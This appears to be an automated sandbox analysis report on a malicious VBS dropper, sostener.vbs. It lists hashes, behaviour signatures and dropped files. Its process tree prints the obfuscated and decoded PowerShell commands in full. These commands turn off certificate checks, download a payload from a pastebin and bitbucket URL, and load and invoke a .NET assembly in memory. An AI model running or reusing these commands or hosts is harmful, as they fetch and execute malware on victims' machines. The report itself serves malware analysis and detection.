Overview

overview

10

Static

static

1

sostener.vbs

windows7-x64

10

sostener.vbs

windows10-1703-x64

10

sostener.vbs

windows10-2004-x64

10

sostener.vbs

windows11-21h2-x64

10

Analysis

  • max time kernel
    196s
  • max time network
    258s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-09-2024 06:57

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    sostener.vbs

  • Size

    4.0MB

  • MD5

    b9b5d25eb96b7de9629b3344aaca4d71

  • SHA1

    e9f07e0dd33c986fc83ddf9e4e702dbb92dbb834

  • SHA256

    f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95

  • SHA512

    69c1f2de49adc6d4cbc3f74ca83c8b1bdb882d10efd4d891345432e776e6a40d23fe456d23e8c004bc26a2c49a10baedf3255119e57f8e4481804250cfc614e3

  • SSDEEP

    96:D6G7MtM9s/Q8u5QiOK09ALsFckHixZzan9gzdR3s:GSHbO9GsFcCudan9mhs

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bm☆HY☆e☆Bm☆GU☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆Hk☆egB5☆HE☆cg☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆Gk☆agBj☆GM☆cw☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆Bp☆Go☆YwBj☆HM☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆HQ☆e☆B0☆C4☆RQBS☆EI☆VQBU☆EM☆TwBS☆EU☆TgBF☆FQ☆UwBP☆FM☆LwBz☆GQ☆YQBv☆Gw☆bgB3☆G8☆Z☆☆v☆G8☆d☆Bz☆G8☆ZwBh☆C8☆cwBz☆G8☆aQB2☆G4☆ZQ☆v☆Gc☆cgBv☆C4☆d☆Bl☆Gs☆YwB1☆GI☆d☆Bp☆GI☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆B5☆Ho☆eQBx☆HI☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆XwBf☆GE☆UwBE☆EY☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆Xw☆t☆C0☆LQ☆t☆C0☆LQ☆t☆Cc☆L☆☆g☆CQ☆ZgB2☆Hg☆ZgBl☆Cw☆I☆☆n☆DE☆Jw☆s☆C☆☆JwBS☆G8☆Z☆Bh☆Cc☆I☆☆p☆Ck☆Ow☆=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4208
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$fvxfe = '0';$yzyqr = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $ijccs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($ijccs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('txt.ERBUTCORENETSOS/sdaolnwod/otsoga/ssoivne/gro.tekcubtib//:sptth' , $yzyqr , '_______aSDF_____________________________________-------', $fvxfe, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2168

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    0e20de8221f723e4f1effa175f1f988a

    SHA1

    f55457744d0dd2e6156a4dcb595bdd54ec28d657

    SHA256

    f5834c88f5562cd6caf5c57a361dafbc58f20ca2e8a6e16216f667eb520b4fe1

    SHA512

    c3835b1b328f75c9337580e37806991fff6f2b42921100fecb0ad5ff6da5207ad0af2b5a2686a7c9911b3fd63a1d64eb2212f1c8cfff1826fc428177b8bcb54b

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    a9775b49d3242a361b2a60a5b00b45f4

    SHA1

    999553b4b130f9e75daca383869adde760bf903b

    SHA256

    007016ba94133df487a06657611b2df779fdca6c1200c21da45358d7b3792a83

    SHA512

    99ee9a96d59b1ef7872421d36afb0a765b67d71c288da446c81a29d6008513fa180f7386ee7f59e908a4b59ea1806b8e546a90d7fab101ed2c6a10276ce788dd

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ychry10q.e2c.ps1
    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

    Download Submit

  • memory/2168-41-0x000002864EF00000-0x000002864EF0A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/4208-0-0x00007FFF34733000-0x00007FFF34734000-memory.dmp

    Filesize

    4KB

    Download

  • memory/4208-5-0x0000020564800000-0x0000020564822000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4208-8-0x00007FFF34730000-0x00007FFF3511C000-memory.dmp

    Filesize

    9.9MB

    Download

  • memory/4208-10-0x00007FFF34730000-0x00007FFF3511C000-memory.dmp

    Filesize

    9.9MB

    Download

  • memory/4208-9-0x0000020564CE0000-0x0000020564D56000-memory.dmp

    Filesize

    472KB

    Download

  • memory/4208-55-0x00007FFF34730000-0x00007FFF3511C000-memory.dmp

    Filesize

    9.9MB

    Download